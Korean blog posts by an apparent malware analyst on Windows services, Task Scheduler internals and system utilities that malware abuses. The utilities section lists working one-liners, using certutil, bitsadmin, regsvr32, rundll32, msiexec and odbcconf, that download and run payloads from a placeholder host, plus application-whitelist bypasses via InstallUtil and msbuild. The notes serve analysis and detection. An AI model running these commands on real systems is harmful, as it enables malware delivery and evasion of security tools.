SanseoLab

1. 기본

2. 사용법

.... 2.1 sc 명령어

.... 2.2 service.msc

3. 구조

.... 3.1 동작 구조

.... 3.2 개발

........ 3.2.1 exe 형태

........ 3.2.2 dll 형태

4. 악성코드 분석

1. 기본

  기본적으로 서비스는 실행 가능한 바이너리여야 할 것이고 sys, exe, dll이 그 대상이 될 것이다. 명령 프롬프트에서 다음과 같은 명령을 실행해서 나온 결과 중 "종류"를 확인해 보면 3가지를 확인할 수 있다.

> sc qc [ 서비스 이름 ]

  sys 바이너리 즉 디바이스 드라이버는 KERNEL_DRIVER(1), exe 실행 파일 바이너리는 WIN32_OWN_PROCESS(10), dll은 WIN32_SHARE_PROCESS(20)이다.

  등록된 서비스는 명령 프롬프트에서 sc 명령어를 사용하거나 또는 service.msc 유틸리티, 그리고 레지스트리를 통해서 확인 가능하다. sys나 exe 같은 standard alone한 서비스는 다음의 레지스트리에서 확인 가능하다. ImagePath를 보면 exe 및 sys 파일의 경로를 확인할 수 있다.

[ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services ]

  DLL 형태의 서비스 프로그램은 조금 다르다. 각 서비스가 위의 키에 존재하는 것은 맞지만 ImagePath에 실행 파일의 경로가 아니라 다음과 같은 형태를 볼 수 있다.

%SystemRoot%\system32\svchost.exe -k  [서비스 그룹 이름]

  이것은 부팅 시에 svchost.exe의 인자로 서비스 그룹의 이름을 넣고 실행함으로써 호출된다는 것이다. dll의 경로는 ImagePath가 아니라 ServiceDll에 위치한다. 참고로 지금까지 언급했던 서비스 그룹은 다음의 레지스트리에 저장되어 있다. 

[ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Svchost ]

  정리하자면 현재 윈도우의 프로세스 트리를 보면 services.exe를 확인할 수 있다. 이것의 자식 프로세스로 동작하는 exe 프로그램들은 서비스로 동작하는 (그리고 거기에 맞게 개발된) exe 프로그램이다. 이것 말고도 다수의 svchost.exe 프로세스들을 확인할 수 있다. 위의 내용과 같이 각 서비스 그룹 별로 svchost.exe가 실행되며 각각의 svchost.exe에는 담당하는 서비스 그룹에 속하는 dll들이 로드되어 있다.

2. 사용법

2.1 sc 명령어

> sc create [서비스 이름] binpath= [서비스 파일 경로]

> sc delete [서비스 이름]

> sc start [서비스 이름]

> sc stop [서비스 이름]

> sc query

        ; 전체 서비스 조회

> sc query [서비스 이름]

        ; 특정 서비스 조회

2.2 service.msc

실행창 -> service.msc

        ; 위의 명령어로 확인할 수 있다.

3. 구조

3.1 동작 구조

  서비스 프로그램의 경우 dll이나 sys는 당연할테지만, exe 형태를 가지고 있다고 하더라도 서비스로서 동작하도록 개발된 프로그램이기 때문에 일반적인 더블 클릭을 통해 실행되는 것이 아니라 앞에서 보았던 sc.exe 같은 프로그램이 해당 서비스를 등록하고 실행시켜 주는 역할을 해주어야 한다.

  이러한 sc.exe 같은 프로그램들을 SCP라고 한다. 이외에도 SCM이라는 개념도 있는데 모든 서비스들을 관리하는 역할을 한다. 위의 내용을 보고 추측할 수 있듯이 SCM은 services.exe이다. dll 형태의 경우 svchost.exe가 관리하는 것으로 생각할 수 있겠지만 이것도 궁극적으로는 부모 프로세스인 services.exe가 관리한다.

  일반적으로 간단하게 sc.exe를 이용할 수 있겠지만 직접 SCP를 만드는 것도 가능하다. SCP의 경우 간단하게 OpenSCManager()로 SCM을 오픈하고, 여기서 받은 핸들을 통해 CreateService()로 서비스를 생성한다. 그러면 SCM은 HKLM\SYSTEM\CurrentControlSet\Services 아래에 서비스에 대한 레지스트리 키를 생성한다. 삭제할 때는 DeleteService() 함수를 사용할 수 있다.

3.2 개발

3.2.1 exe 형태

  여기서는 서비스 프로그램의 구조 부터 시작하며 먼저 exe 형태를 다루기로 한다. 일반적인 프로그램은 Entry Point만 존재하면 되겠지만, 서비스 프로그램은 추가적으로 Service Entry Point 및 Service Control Handler가 필요하다.

  일반적인 서비스 프로그램의 형태에 대해 동작 과정 및 SCP와 연관시켜 설명하기로 한다. 만약 sc.exe를 이용해 서비스를 시작시키는 경우 내부적으로 (직접 SCP를 개발한 경우에도 마찬가지이다) StartService() 함수가 호출된다. 그러면 SCM 즉 services.exe에 의해 해당 서비스 프로세스가 생성 및 실행된다. 이 때 서비스 프로그램도 일반적인 프로그램과 마찬가지로 Entry Point 즉 main 함수가 실행된다.

  일반적인 서비스 프로그램의 경우 실질적인 루틴은 main에 존재하지 않으며 대신 간략하게 StartServiceCtrlDispatcher() 함수를 이용해 Service Entry Point 즉 실질적인 서비스 루틴을 담당하는 함수를 등록한다. 이 함수는 Service Main 함수라고 부르도록 한다.

  이후 Service Main 함수가 실행되는데 일반적으로 초기화 루틴부터 시작한다. 먼저 서비스 프로그램의 경우 SCM과의 제어를 담당하는 부분이 필요하다. 이러한 부분을 Service Control Handler라고 부르며 앞에서도 언급하였듯이 Service Main 함수 처럼 추가적인 함수로 구현해 놓을 필요가 있다. 핸들러 함수가 존재해야 서비스에 대한 중지, 시작 등의 제어를 처리할 수 있으며 실제로 그러한 역할을 담당한다.

  이에따라 Service Main 함수의 초기화 루틴에서는 RegisterServiceCtrlHandler()를 통해 핸들러 함수를 등록하는 부분이 존재한다. 다음으로는 서비스를 실행시키는 부분이다. 물론 현재 Service Main 함수 부분에서 이미 실행 중이긴 하지만 SCM 입장에서는 SERVICE_START_PENDING 상태라고 할 수 있다. 그러므로 초기화 이후에는 SetServiceStatus 함수를 이용해 인자로 SERVICE_RUNNGING를 설정하고 호출하여야 이후 서비스 프로세스로서 동작하게 된다.

3.2.2 dll 형태

  DLL 형태의 경우는 앞에서 살펴보았던 exe 형태와는 조금 다르다. dll의 경우 먼저 ServiceMain()이라는 함수를 만들고 이 함수를 export해야 한다. exe의 경우 실행시키면 바로 Entry Point인 main 함수가 실행되듯이, dll의 경우 서비스 시작 시 이 export된 함수를 호출할 것이다. 또한 StartServiceCtrlDispatcher() 함수를 호출할 필요가 없다. 그렇기 때문에 실제 서비스로서의 역할을 이 ServiceMain()에서 수행하면 된다. 물론 SCM과의 커뮤니케이션을 위해 Service Control Handler가 필요하므로 해당 함수를 구현한 후 RegisterServiceCtrlHandler()를 통해 핸들러 함수를 등록할 필요는 있다.

4. 악성코드 분석

  인터넷을 보면 서비스 디버깅 방식이 존재한다. 그러한 방식을 사용하면 exe 형태이든 dll 형태이든 위의 정리된 내용을 바탕으로 분석할 수 있을 것이다. 

  추가적인 팁이 있다면 서비스 프로그램은 시스템 권한으로 실행되기 때문에 EP를 무한 루프로 수정하고 Attach하려고 해도 불가능하다. 이 경우에는 ExecTI 같은 도구를 이용해 디버거를 시스템 권한으로 실행시킨 후 Attach하면 될 것이다.

0. 개요

1. 명령어 실행

2. 스크립트 실행

3. 파일 실행

4. 다운로드

5. 컴파일

6. 기타

0. 개요

  cmd 외에도 여러 시스템 유틸리티가 악성 행위에 사용될 수 있다. 여러 자료들을 참고하여 정리하였고, 이후 추가 사항이 있을 시 더 보충하도록 하겠다.

1. 명령어 실행

1.1 cmd.exe

  생략.

1.2 powershell.exe

  생략.

1.3 wmic.exe

  따로 정리할 예정이므로 간략히만 정리한다.

> process call create "cmd.exe /c calc"

  다음 링크와 같이 xsl 파일을 서버에 생성한 후 아래의 명령어로 실행시키는 방식이 있다. [ https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl ] 특징이라면 명령어에서 xsl 확장자를 받아야 하는데 이 확장자가 흔하지는 않는다는 것이며 따라서 서버에서도 xsl 확장자 형태로 존재해야 한다는 점이다.

> wmic os get /format:http://www.aaa.com/data/aaa.xsl

1.4 forfiles.exe

  파일들을 선택하고 실행시키는데 사용되는 프로그램이라고 한다. 옵션의 자세한 방식은 모르겠지만 예제와 같이 사용하는 것이 가장 좋은것 같다. 마지막 calc.exe 대신 cmd 등의 실제 명령어가 들어가면 될 것이다.

> forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe

  forfiles 자체는 현재 디렉터리의 모든 파일을 보여준다. /p 옵션을 통해서 특정 디렉터리를 지정할 수 있다. /m 옵션은 잘 모르겠는 것이 /c calc.exe를 빼고 실행하니 system32 디렉터리에서 찾은 "notepad.exe" 문자열만을 보여주는 것 같은데 문제는 이 "/m notepad.exe"가 꼭 필요한 것 같지 않아서 빼고 실행했더니 calc.exe를 무한 실행시킨다. 이유는 모르겠으나 저렇게 사용해야 할 것으로 보인다.

2. 스크립트 실행

  다음 링크 참조 [ http://sanseolab.tistory.com/41 ]

2.1 wscript.exe  /  cscript.exe

  JS, VBS 등의 스크립트 파일 더블 클릭 시 디폴트로 실행되어 해당 스크립트를 실행시켜주는 프로그램이다.

2.2 mshta.exe

  일반적으로 .hta 파일을 실행시키는데 사용된다. 

> mshta.exe aaa.hta

  이외에도 직접 VBS나 JS 코드를 실행시킬 수도 있다.

> mshta.exe vbscript:Execute("MsgBox(""amessage"",64,""atitle"")(window.close)")

> mshta.exe javascript:alert('test');

3. 파일 실행

3.1 msiexec.exe

  설치 파일인 .msi 파일을 실행시키면 msiexec.exe가 인스톨러 역할을 하여 설치가 진행된다. 추가 기능은 [ 4.1 항목 ] 참조

> msiexec.exe /i "aaa.msi"

3.2 rundll32.exe

  일반적으로 dll 파일을 실행시키는데 사용된다. 참고로 DLL 이름과 반점 이후 호출할 함수명을 쓸 때 띄어쓰기 없이 붙여야 실행이 가능하다. 그리고 함수명 대신 Ordinal 번호로 호출할 경우 #1 형태로 사용 가능하다.

> rundll32.exe aaa.dll,DllMain

> rundll32.exe aaa.dll,#1

  이외에도 자바스크립트를 실행시키는 방식도 최근 악용되고 있다.

> rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";alert('test');

  그리고 조금 더 수정해서 다운로더 형태로도 만들 수 있다.

> Rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject('script:http://aaa.com/data/aaa');

3.3 control.exe

  control.exe는 제어판 프로그램이며, 이유는 모르겠지만 DLL 실행이 가능하다. [ https://www.dearbytes.com/blog/playing-around-with-nsa-hacking-tools/ ]

> control.exe aaa.dll

3.4 InstallUtil.exe

  다른 용도보다는 Whitelist Bypass에 사용될 수 있다. Whitelist Bypass란 정상적으로 사인된 코드에서 실행됨으로써 보안 솔루션의 탐지를 회피하는 기법이다.

  csc.exe와 같이 사용되는데, 먼저 악성코드를 실행시킬 목적의 소스 코드를 제작한 후 csc.exe를 컴파일한다. 이후 컴파일된 실행 파일을 InstallUtil.exe로 실행시키는 방식이다. [ https://www.attackiq.com/blog/2018/05/21/application-whitelist-bypass/ ]

> csc.exe test.cs

> InstallUtil.exe /U test.exe

4. 다운로드

4.1 msiexec.exe

  .msi 파일이 꼭 로컬에 위치할 필요 없이 웹 서버에 올라와 있더라도 다운로드 후 설치가 진행된다. 다음 링크 참조 [ http://sanseolab.tistory.com/65 ]

> msiexec.exe /i "http://www.aaa.com/data/aaa.msi"

4.2 certutil.exe

  certutil -urlcache -split -f [URL] [output-file]

> certutil -urlcache -split -f "http://www.aaa.com/data/aaa.exe" "aaa.exe"

  또는 -decode 옵션을 통해 Base64 디코딩이 가능한 특징을 이용할 수도 있다. 즉 Base64로 인코딩된 PE를 다운로드 받은 후 디코딩까지 가능한 것이다.

> certutil.exe -urlcache -split -f "https://www.aaa.com/data/aaa.txt" bbb.txt

> certutil.exe -decode bbb.txt ccc.exe

4.3 bitsadmin.exe

  bitsadmin /transfer [job-name] /download /priority normal [URL-to-payload] [output-path]

> bitsadmin /transfer /download /priority HIGH "http://www.aaa.com/data/aaa.exe" "aaa.exe"

4.4 regsrv.exe

  다음 링크를 보면 외부 서버에 JScript를 포함한 sct 파일을 두고 아래의 명령어를 통해 실행시킨다. sct 파일은 링크의 예제와 같은 형태를 띄며 JScript나 VBScript를 포함할 수 있다. 그리고 scrobj.dll(Windows Script Component Runtime)은 윈도우에서 스크립트를 담당하는 엔진이라고 할 수 있다. [ https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/ ]

> regsvr32.exe /s /u /i:http://www.aaa.com/data/aaa.sct scrobj.dll

4.5 cmstp.exe

  inf 파일을 만들고 내부에 url을 등록한다. 해당 url은 regsrv와 비슷하게 sct 파일이 들어있다. inf 파일 설정 예제는 다음과 같다. [ https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80 ]

  참고로 sct 파일 외에도 DLL 파일도 가능하다. [ https://pentestlab.blog/2018/05/10/applocker-bypass-cmstp/ ]

> cmstp.exe /s cmstp.inf

5. 컴파일

5.1 csc.exe

  .NET 컴파일러로서 닷넷 소스 코드를 생성한 후 이것을 가지고 바이너리를 만들고 실행할 경우 직접 바이너리를 다운로드 받을 필요가 없어진다.

> csc.exe /out:output.exe input.cs

  이것은 생성까지만이고 InstallUtil.exe와 같이 사용될 수 있다. 해당 항목 참조.

  굳이 위와 같이 간단하게 사용하는 것 보다 약간 응용한 방식도 존재한다. 먼저 다음과 같이 실행된다.

> csc.exe /noconfig /fullpaths "aaa.cmdline"

  aaa.cmdline이라는 파일을 확인해 보면 여러 설정들이 들어있는 것을 볼 수 있다.

/t:library /utf8output /R:"System.Management.dll" /R:"System.dll" /R:"System.Drawing.dll" /R:"System.Core.dll" /out:"경로\bbb.dll" /D:DEBUG /debug+ /optimize- /optimize+ /platform:X86 /debug+ /target:winexe  "경로\ccc.cs"

5.2 msbuild.exe

  xml 파일 내에 인라인으로 악성 코드를 작성한다. 참고로 언어는 C#이며 미미카츠의 경우처럼 실제 악성 행위를 하는 부분은 셸코드로 작성할 수도 있다. 어쨌든 exe 형태가 아닌 xml 형태로 존재하게 되며 이후 msbuild.exe의 인자로 작성한 xml 파일을 넣으면 해당 코드가 실행된다. 다음은 예제 코드이며 직접 코드를 수정하여 테스트할 수 있다. 미미카츠에서 사용된 셸코드 형태도 검색하면 쉽게 찾을 수 있을 것이다.

[ https://gist.github.com/Arno0x/e2b63b5d868d54724123f31cc39e4b21 ]

> msbuild.exe test.xml

6. 기타

6.1 SyncAppvPublishingServer.exe

  다음은 더 찾아본 후 테스트해 볼 예정이다. [ https://safe-cyberdefense.com/malware-can-use-powershell-without-powershell-exe/ ]

> SyncAppvPublishingServer.exe "Break; Start-Process Calc.exe"

6.2 winrm.exe

  디폴트로 enabled되어 있지 않으므로 생략한다.

6.3 odbcconf.exe

  더 찾아본 후 테스트해 볼 예정이다.

> odbcconf /s /a {regsvr \\www.aaa.com/data/aaa.exe}

6.4 regasm.exe  /  regsvc.exe

  더 찾아본 후 테스트해 볼 예정이다.

> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\www.aaa.com/data/aaa.exe

6.5 Mavinject.exe

  실행 중인 프로세스에 DLL은 인젝션할 수 있게 해준다. 해당 파일이 존재하지 않아서 테스트를 해보지 못했다.

> MavInject.exe <PID> /INJECTRUNNING <PATH DLL>

0. 개요

1. mmc

2. 작업 스케줄러

3. taskhost.exe

4. etc

0. 개요

[ http://sanseolab.tistory.com/18 ]

  서비스의 경우 위의 링크에서 정리하였지만 그래도 윈도우의 시스템과 관련해서는 아직도 제대로 개념이 잡히지 않은 부분이 많다. 예를들어서 taskhost.exe나 taskeng.exe는 무엇이고, schtasks.exe는 어떻게 동작하는지 등등이다. 또한 svchost.exe는 서비스 외에도 작업 스케줄링과 관련해서도 사용된다는 것을 알게 됨으로써 헷갈리는 것만 늘어나서 확실한 정리가 필요했다. 물론 지금도 완벽하게는 파악하지 못했지만 그래도 나름의 분류를 하게 되었고 더 자세한 내용은 추후에 추가하겠지만 이 정도로도 우선은 헷갈리는 부분은 정리가 된 것 같아서 블로그에 올리려고 한다.

1. mmc

  먼저 mmc.exe와 관련한 정리다. 이것은 UAC Bypass에서도 자주 나오므로 겸사 겸사해서 정리하기로 하였다. 만약 실행 창에서 "서비스"나 "작업 스케줄러"를 실행시키면 실제로는 mmc.exe가 실행되는 것을 확인할 수 있다. 물론 아이콘이라던지 UI는 다르지만 유사한 것을 확인할 수 있다.

  정확히는 "서비스"의 경우 다음과 같이 실행된다.

"C:\Windows\system32\mmc.exe" "C:\Windows\system32\services.msc" 

  그리고 "작업 스케줄러"는 다음과 같다.

"C:\Windows\system32\mmc.exe" "C:\Windows\system32\taskschd.msc" /s

  mmc.exe 즉 Microsoft Management Console은 snap-in이라고 불리는 COM 객체들을 호스트할 수 있다. 위에서 본 것과 같이 대부분의 MS 관리 도구들은 MMC snap-in들로 구현되어 있다. 스냅인은 .msc 확장자를 가지며 mmc의 인자로 사용된다. 참고로 스냅인들은 다음 레지스트리에 등록되어 있다고 한다.

[HKEY_CLASSES_ROOT]\{CLSID}

[HKEY_LOCAL_MACHINE\Software\Microsoft\MMC\Snapins]

2. 작업 스케줄러

  위에서 "작업 스케줄러"를 실행시키면 mmc를 통해 taskschd.msc를 인자로 받아서 GUI 형태의 관리 프로그램이 실행되는 것을 확인하였다. 이것은 mmc 기반으로 관리자를 위한 GUI 형태로 제공되는 것으로 보이며 커맨드 라인 프로그램으로는 schtasks.exe와 at.exe가 있다. at.exe는 deprecated 된 것으로 취급되므로 schtasks.exe만 보기로 한다.

  다음 간단한 예제를 이용해서 작업을 등록해 보았다.

> schtasks.exe /Create /TN "Hello" /ri 1 /st 15:58 /du 9999:59 /sc daily /f /TR C:\Windows\System32\cmd.exe

  이후 실행 과정을 보면 "svchost.exe -k netsvcs"로 실행된 svchost.exe가 taskeng.exe를 실행시키는 것을 확인할 수 있다. 앞의 서비스 관련 개념과 연관해서 봤을 때 작업 스케줄링을 전담하는 서비스가 있는 것 같다.

  이 때 인자로 다음과 같이 준다.

taskeng.exe {xxxx252E-5AFA-xxxx-8BD7-9E914C08xxxx} S-1-5-21-xxxx556725-xxxx805062-xxxx730372-1000:PC090\xxxx:Interactive:[1]

  시간이 되면 taskeng.exe는 cmd.exe를 실행시키게 된다. 참고로 taskeng.exe 및 하위 프로세스는 관리자 권한이며 svchost.exe는 시스템 권한이다.

  더 자세히 설명하기 위해 먼저 svchost.exe의 행위부터 보겠다. 이것은 다음 레지스트리 키를 생성한다.

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{xxxx252E-5AFA-xxxx-8BD7-9E914C08xxxx}\data

  데이터를 보면 바이너리 형태이기도 해서 그냥 그렇다는 것만 확인하였다. 그리고 Hello라는 이름의 파일을 \system32\Tasks 폴더에 생성한다. 해당 파일을 확인해 보니 xml 형태로서 작업 스케줄링과 관련된 내용들이 들어가 있다. 즉 시간이라던지 경로명 등의 정보들이다.

  이후 taskeng.exe를 실행시킨다. taskeng.exe는 "Task Scheduler Engine"으로서 하며 작업 관리자에 의해 실행되고, svchost.exe에 의해 호스트되는 프로그램이다. 이것은 앞에서 생성한 레지스트리 키를 읽고(더 확인해야 한다), 그리고 앞에서 생성한 Hello 파일을 읽는다. 이후 이것을 참조하여 cmd.exe를 실행시킨다.

  참고로 현재 환경은 윈도우 7이었는데, 윈도우 10에서는 svchost.exe -k netsvcs가 taskeng.exe를 실행시키고 taskeng.exe가 실제 cmd.exe를 실행시키는 방식이 아닌, svchost.exe -k netsvcs가 taskeng.exe를 거치지 않고 cmd.exe를 직접 실행시키는 방식으로 변경되었다.

  그리고 .job 파일과 관련해서 찾아보니, 과거 악성코드 기록에서 "\system32\tasks\에 {35DC3473-A719-4d14-B7C1-FD326CA84A0C}.job" 및 "{8C3FDD81-7AE0-4605-A46A-2488B179F2A3}.job" 파일을 만든다고 하는 것을 보면, 해당 폴더에 작업 이름(Hello)으로 생성한 것과는 차이가 있는데 (.job 확장자 외에도 작업 이름 대신 레지스트리 이름이 들어감) 단순한 버전 차이인지는 모르겠다.

3. taskhost.exe

  참고로 프로세스 익스플로러를 보면 wininit.exe의 자식으로 services.exe가 실행 중인 것을 확인할 수 있다. 이 services.exe 아래에는 여러 exe들과 다수의 svchost.exe가 존재한다. 상당 수의 svchost.exe는 위의 링크에서 볼 수 있듯이 서비스와 관련된 것들이다. 사실 여기서 굳이 이 내용을 언급하는 것은 services.exe의 자식 프로세스들 중에서 svchost.exe 외에도 다른 exe들 중에는 taskhost.exe도 있다는 것을 말하기 위함이다.

  이것은 "WIndows 작업을 위한 호스트 프로세스"로서 윈도우 7에서는 taskhost.exe이지만, 윈도우 8에서는 taskhostex.exe, 윈도우 10에서는 taskhostw.exe이다. 어쨌든 exe 형태가 아닌 dll 형태의 작업들을 위한 호스트 프로세스라고 한다. 서비스의 경우 svchost.exe와 비슷해 보인다. 참고로 Process Explorer에서 마우스 커서를 대보면 "Tasks:" 아래에 로드된 작업으로 추정되는 것들이 다음과 같이 나오는 것을 확인할 수 있다.

Microsoft PlaySoundService Class [\Microsoft\Windows\Multimedia\SystemSoundsService]

MsCtfMonitor task handler[\Microsoft\Windows\TextServicesFramework\MsCtfMonitor]

4. etc

  작업 관리자 즉 Task Manger는 taskmgr.exe이다.